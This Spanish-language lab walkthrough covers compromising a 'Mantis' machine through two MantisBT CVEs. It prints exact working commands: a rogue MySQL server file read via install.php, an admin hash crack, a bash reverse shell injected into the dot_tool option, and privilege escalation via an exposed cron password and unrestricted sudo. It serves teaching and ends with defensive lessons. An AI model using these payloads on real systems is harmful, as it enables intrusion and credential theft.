Mantis
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El/bugtracker/corre MantisBT. Suinstall.phpdeja apuntar la instalación a un servidor MySQL controlado por nosotros, que abusa deLOAD DATA LOCAL INFILEpara leer ficheros del objetivo (servidor MySQL malicioso): sacamosconfig_inc.phpcon las credenciales de la base de datos. Con ellas volcamos el hash del administrador de Mantis, lo crackeamos (crackeo de hashes) y entramos al panel. MantisBT 2.5.2 permite inyección de comandos por una opción de configuración (inyección de comandos), lo que da shell comowww-data.pspyrevela una credencial en unmysqldumpde un cron; con ella saltamos amantis, que tienesudo ALL(sudo sin restricciones) y es root directo.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos: un Apache y una MariaDB expuesta.
ping -c 1 192.168.206.204
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.206.204PORT STATE SERVICE
80/tcp open http
3306/tcp open mysqlnmap -p80,3306 -sCV 192.168.206.204 -oN targetedScanPORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Slick - Bootstrap 4 Template
3306/tcp open mysql MariaDB 5.5.5-10.3.34
|_ Auth Plugin Name: mysql_native_passwordHTTP - TCP 80: MantisBT
La raíz es una plantilla Bootstrap sin chicha, pero dirsearch descubre un /bugtracker/ que resulta ser un Mantis Bug Tracker, con su panel de administración y, sobre todo, un instalador accesible:
dirsearch -u http://192.168.206.204/ --exclude-status=404,403
dirsearch -u http://192.168.206.204/bugtracker/admin/ --exclude-status=404,403[19:40:37] 301 - 323B - /bugtracker -> http://192.168.206.204/bugtracker/
[21:20:11] 301 - 329B - /bugtracker/admin -> .../bugtracker/admin/
[21:20:17] 301 - 330B - /bugtracker/config -> .../bugtracker/config/
[21:20:17] 200 - 521B - /bugtracker/config/
[21:30:46] 200 - 2KB - /bugtracker/admin/install.php
[21:30:46] 200 - 2KB - /bugtracker/admin/install.php?profile=defaultLa propia aplicación nos dice por dónde va la cosa antes de tocar nada. La pantalla de login lleva pegado un aviso del instalador que nadie retiró:

Warning: "admin" directory should be removed, or access to it restricted.Que el install.php siga accesible tras instalar es la vulnerabilidad, y está catalogada: CVE-2017-12419, Arbitrary File Read inside install.php script. El instalador reparte el proceso en fases con el parámetro install, y en la fase 3 abre la conexión a la base de datos con un host que llega por HTTP sin validar. Estas tres líneas del propio informe del fabricante son toda la vulnerabilidad:
// admin/install.php
95: $t_install_state = gpc_get_int( 'install', 0 );
200: $f_hostname = gpc_get( 'hostname', config_get( 'hostname', 'localhost' ) );
766: $t_result = @$g_db->Connect( $f_hostname, $f_admin_username, $f_admin_password, $f_database_name );Controlamos $f_hostname, así que controlamos a qué servidor MySQL se conecta la víctima. El aviso del fabricante añade la condición: afecta a cualquier MantisBT sobre MySQL/MariaDB salvo que hayan deshabilitado local_infile.
El otro dato que hace falta es la ruta del fichero que queremos leer, y el /bugtracker/config/ con listado de directorio la regala:

Index of /bugtracker/config
Name Last modified Size
Parent Directory -
Web.config 2017-09-03 22:26 309
config_inc.php 2022-05-05 11:31 327
config_inc.php.sample 2017-09-03 22:26 3.3KEl listado enseña los nombres pero Apache ejecuta el .php en vez de servirlo, así que por HTTP no se puede leer su contenido. Para eso está el traversal de MySQL.
Explotación
El CVE y de dónde sale
El install.php que sigue en su sitio no es un descuido sin consecuencias, tiene CVE propio. Buscar la combinación de producto y primitiva ya lo saca a la primera:


Y el mejor sitio para leerlo es el propio MantisBT, que como buen gestor de incidencias documenta su vulnerabilidad en una incidencia, con código y pasos de reproducción:

0023173: CVE-2017-12419: Arbitrary File Read inside install.php script
After successful installation of bug tracker, it doesn't remove install.php script because of that
attacker can read any file on the remote system through some installation process steps.
/admin/install.php:
86: # install_state
87: # 0 = no checks done
88: # 1 = server ok, get database information
89: # 2 = check the database information
90: # 3 = install the database
95: $t_install_state = gpc_get_int( 'install', 0 );
765: <?php
766: $t_result = @$g_db->Connect( $f_hostname, $f_admin_username, $f_admin_password, $f_database_name );
200: $f_hostname = gpc_get( 'hostname', config_get( 'hostname', 'localhost' ) );
Script try to connect to MySQL server, but you can control $f_hostname variable through HTTP-request
parameter hostname.
- Run roguemysql.php
- Type file path to read '/etc/passwd'
- Browse https://mantis/admin/install.php?install=3&hostname=IP_WHERE_ROGUE_SERVER_RUN
This issue potentially affects ALL MantisBT versions running on MySQL / MariaDB, unless they have
disabled local_infileLa propia incidencia adjunta la prueba, y es exactamente lo que vamos a reproducir: la petición install=3&hostname=attacker a un lado y el servidor malicioso devolviendo el /etc/passwd al otro.

install.php + servidor MySQL malicioso: lectura de ficheros
El servidor falso también lo nombra el propio reporte, y está en GitHub:

Levantamos ese servidor MySQL falso (Rogue-MySql-Server) que, en cuanto un cliente se conecta, le pide un fichero con LOAD DATA LOCAL INFILE y se queda con su contenido (servidor MySQL malicioso). Le indicamos que quiere leer el config_inc.php de Mantis:
wget https://raw.githubusercontent.com/allyshka/Rogue-MySql-Server/master/roguemysql.php
php roguemysql.phpEl script pregunta qué fichero quiere y propone /etc/passwd por defecto. Merece la pena aceptar el propuesto en la primera pasada: si sale, la primitiva está confirmada y ya habrá tiempo de pedir lo que interesa.

Enter filename to get [/etc/passwd] >
[.] Waiting for connection on 0.0.0.0:3306Y forzamos a que Mantis conecte a nuestro MySQL pasándole nuestra IP como hostname del instalador:
curl 'http://192.168.206.204/bugtracker/admin/install.php?install=3&hostname=192.168.45.238'El objetivo se conecta a nuestro servidor, que le pide el fichero, y nos lo entrega:

[+] Connection from 192.168.206.204:34060 - greet ... auth ok ... some shit ok ... want file ...
[+] /etc/passwd from 192.168.206.204:34060:
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/falseEn el navegador, mientras tanto, install.php va enseñando su tabla de comprobaciones con todo en GOOD: la página cree que está haciendo una instalación normal. Con la primitiva confirmada, repetimos pidiendo el fichero que interesa:
php roguemysql.php # /var/www/html/bugtracker/config/config_inc.php
curl 'http://192.168.206.204/bugtracker/admin/install.php?install=3&hostname=192.168.45.238'
$g_hostname = 'localhost';
$g_db_type = 'mysqli';
$g_database_name = 'bugtracker';
$g_db_username = 'root';
$g_db_password = 'SuperSequelPassword';
$g_default_timezone = 'UTC';
$g_crypto_master_salt = 'OYAxsrYFCI+xsFw3FNKSoBDoJX4OG5aLrp7rVmOCFjU=';MySQL: volcado del hash del administrador
La MariaDB estaba expuesta en el 3306 y ahora tenemos root / SuperSequelPassword. Nos conectamos y sacamos la tabla de usuarios de Mantis:
mysql -u root -h 192.168.206.204 -p --skip-ssl -D bugtracker
Server version: 10.3.34-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
MariaDB [bugtracker]> select * from mantis_user_table;
id | username | realname | email | password
1 | administrator | | root@localhost | c7870d0b102cfb2f4916ff04e47b5c6fEl --skip-ssl no es un adorno: el cliente moderno de MariaDB negocia TLS por defecto y contra un servidor de 2020 sin certificado la conexión se cae antes de pedir la contraseña.
Crackeo del hash
El hash tiene 32 caracteres hexadecimales y no lleva sal: es un MD5 a pelo, que es lo que MantisBT usaba por defecto en esa rama. No hace falta ni lanzar un diccionario, ya está en las bases de datos públicas (crackeo de hashes):

1 hashes were checked: 1 found 0 not found
Found:
c7870d0b102cfb2f4916ff04e47b5c6f:prayingmantisEse 1 found 0 not found es la clave del asunto: no hemos roto nada, el hash ya estaba indexado. Es el riesgo real de un MD5 sin sal, que cualquiera que lo vea una vez lo tiene resuelto para siempre.
Credenciales del panel: administrator/prayingmantis.

MantisBT 2.5.2: inyección de comandos por opción de configuración
Las credenciales entran y el usuario es administrador del tablero, con el menú Manage completo:

La pestaña de información del sitio confirma la versión y, de paso, la ruta de instalación que ya habíamos supuesto al pedir el config_inc.php:

MantisBT Version 2.5.2
Schema Version 209
Site Path /var/www/html/bugtracker/
Core Path /var/www/html/bugtracker/core/
Plugin Path /var/www/html/bugtracker/plugins/La 2.5.2 arrastra CVE-2019-15715: un administrador puede crear opciones de configuración con valores arbitrarios, y una de ellas, dot_tool, es la ruta al binario dot de Graphviz que Mantis ejecuta para dibujar los grafos de relaciones. Poner un comando donde se espera una ruta es inyección de comandos de manual. Que exija ser administrador no lo hace inofensivo: es la diferencia entre "me han robado una cuenta del gestor de incidencias" y "me han robado el servidor".
Ese CVE tampoco hay que adivinarlo: con el producto y la versión en la mano, la búsqueda lo devuelve, y otra vez apuntando al bug tracker del propio MantisBT.

La incidencia trae los pasos exactos, incluido el detalle del que depende todo:

Pasos para reproducir
Login to mantisbt as an administrator.
Navigate to Manage->Manage Configuration->Configuration Report.
Scroll down to "Create Configuration Option"
Type "relationship_graph_enable" into Configuration Option with a value of 1 to enable the graphs.
Hit "Create Configuration Option"
Scroll back down to "Create Configuration Option"
Type "dot_tool" into Configuration Option with a value of "touch /tmp/vulnerable;"
Hit "Create Configuration Option"
Visit: http://mantisbt/workflow_graph_img.php
List files in /tmp and find "vulnerable" has been created proving the command injection worked.El camino es Manage > Manage Configuration > Configuration Report, y abajo del todo está el formulario Create Configuration Option:

Aquí hay un paso que es fácil saltarse y sin el cual no pasa nada: los grafos vienen desactivados, así que antes de tocar dot_tool hay que encender relationship_graph_enable a 1. Si no, workflow_graph_img.php no llega a invocar el binario y el payload se queda de adorno en la base de datos.

Configuration Option: relationship_graph_enable
Type: default
Value: 1Ahora sí, dot_tool con la reverse shell en vez de la ruta al binario. El tipo tiene que ser string:

Configuration Option: dot_tool
Type: string
Value: bash -c 'bash -i >& /dev/tcp/192.168.45.238/4444 0>&1'El propio informe de configuración sirve de verificación de que las dos opciones han quedado guardadas, que es justo lo que hay que comprobar antes de disparar:

Configuration Option Type Value
database_version integer 209
dot_tool string 'bash -c 'bash -i >& /dev/tcp/192.168.45.238/4444 0>&1''
relationship_graph_enable integer 1Las comillas simples que envuelven el valor de dot_tool las pone Mantis al mostrar un tipo string; en el formulario se escribió sin ellas.
Con el listener levantado (aquí penelope, que además intenta la subida a PTY sola), visitar workflow_graph_img.php hace que Mantis invoque nuestro "dot" y dispare la reverse shell como www-data:

[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from mantis~192.168.206.204-Linux-x86_64 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@mantis:/var/www/html/bugtracker$ whoami
www-dataPivote de usuarios
Credencial expuesta por un cron (pspy)
Como www-data no hay flag. Ejecutamos pspy (repo) para ver procesos y aparece un cron del usuario mantis (UID 1000) que corre backup.sh, y dentro un mysqldump con la contraseña en la línea de comandos:
wget http://192.168.45.238/pspy64; chmod +x pspy64; ./pspy64
UID=1000 PID=... bash /home/mantis/db_backups/backup.sh
UID=1000 PID=... mysqldump -u bugtracker -pBugTracker007 bugtrackerLa contraseña BugTracker007 sirve para la cuenta de sistema mantis (reutilización de credenciales):
su mantis # BugTracker007
www-data@mantis:/home/mantis$ su mantis
Password:
mantis@mantis:~$ ls
db_backups local.txtEl prompt pasa de www-data@mantis a mantis@mantis: la contraseña que el cron pasaba por la línea de comandos servía tal cual para la cuenta del sistema (reutilización de credenciales).
Local
cat local.txt && whoami && ip a && hostname
8a8159d59696c9a415b2d3391e7701c3
mantisEscalada de privilegios
sudo ALL:ALL
sudo -l no deja lugar a dudas: mantis puede ejecutar cualquier comando como cualquier usuario (sudo sin restricciones):
sudo -l
sudo su
mantis@mantis:~$ sudo -l
Matching Defaults entries for mantis on mantis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mantis may run the following commands on mantis:
(ALL : ALL) ALL
mantis@mantis:~$ sudo su
root@mantis:/home/mantis# whoami
rootLos Matching Defaults entries son la parte irónica: env_reset y secure_path están puestos, que son las defensas contra el secuestro de variables de entorno y de PATH. No sirven de nada cuando la regla de abajo concede (ALL : ALL) ALL, porque no hace falta engañar a ningún binario para ser root.
Proof
cat /root/proof.txt && whoami && ip a && hostname
558528f9dff47d7f1b79882bffafdc47
rootCadena de ataque
HTTP 80 -- /bugtracker/ MantisBT, install.php accesible (CVE-2017-12419)
│ servidor MySQL malicioso + hostname=nosotros -> LOAD DATA LOCAL INFILE
│ lee config_inc.php -> db root : SuperSequelPassword
▼
MySQL 3306 -- mantis_user_table -> hash administrador c7870... -> prayingmantis
│ panel MantisBT 2.5.2 (CVE-2019-15715)
│ relationship_graph_enable=1 + dot_tool = reverse shell
▼
www-data
│ pspy -> cron backup.sh -> mysqldump -pBugTracker007 -> su mantis
▼
mantis (local.txt)
│ sudo -l -> (ALL:ALL) ALL -> sudo su
▼
root (proof.txt)Lecciones aprendidas
- Un instalador que sobrevive a la instalación es un agujero. El
install.phpde MantisBT dejaba reconectar la base de datos a un host arbitrario; borrar los instaladores tras desplegar corta el vector. - Un cliente MySQL puede leer tus ficheros. Con
LOAD DATA LOCAL INFILEhabilitado, un servidor malicioso lee lo que quiera del cliente que conecta. Deshabilitarlocal-infileen clientes cierra el abuso. - No pongas contraseñas en la línea de comandos. El
mysqldump -pBugTracker007del cron era visible en la tabla de procesos; usar~/.my.cnfo variables de entorno evita filtrarla a cualquier usuario. sudo ALL:ALLes root para quien lo tenga. Es cómodo en un laboratorio, catastrófico en producción; el principio de mínimo privilegio existe justo para esto. Y da igual que elsudoerstraigaenv_resetysecure_pathbien puestos: esas defensas protegen de secuestrar el entorno de un comando concreto, no de poder ejecutarlos todos.- Confirma la primitiva con el objetivo fácil antes de ir al bueno. La primera lectura fue el
/etc/passwdque el propio script propone por defecto; solo después se pidió elconfig_inc.php. Si algo falla, así sabes si el problema es la vulnerabilidad o la ruta que has escrito. - Un exploit que "requiere administrador" sigue siendo un exploit. CVE-2019-15715 pide sesión de admin en el tablero, y aun así convierte el robo de una cuenta de aplicación en shell en el servidor. Al leer un aviso de seguridad, la condición previa dice a quién afecta, no si merece la pena arreglarlo.
- Lee los pasos de reproducción enteros. El
dot_toolno dispara nada sirelationship_graph_enablesigue a 0; es el paso que se salta todo el mundo y luego parece que el payload no funciona.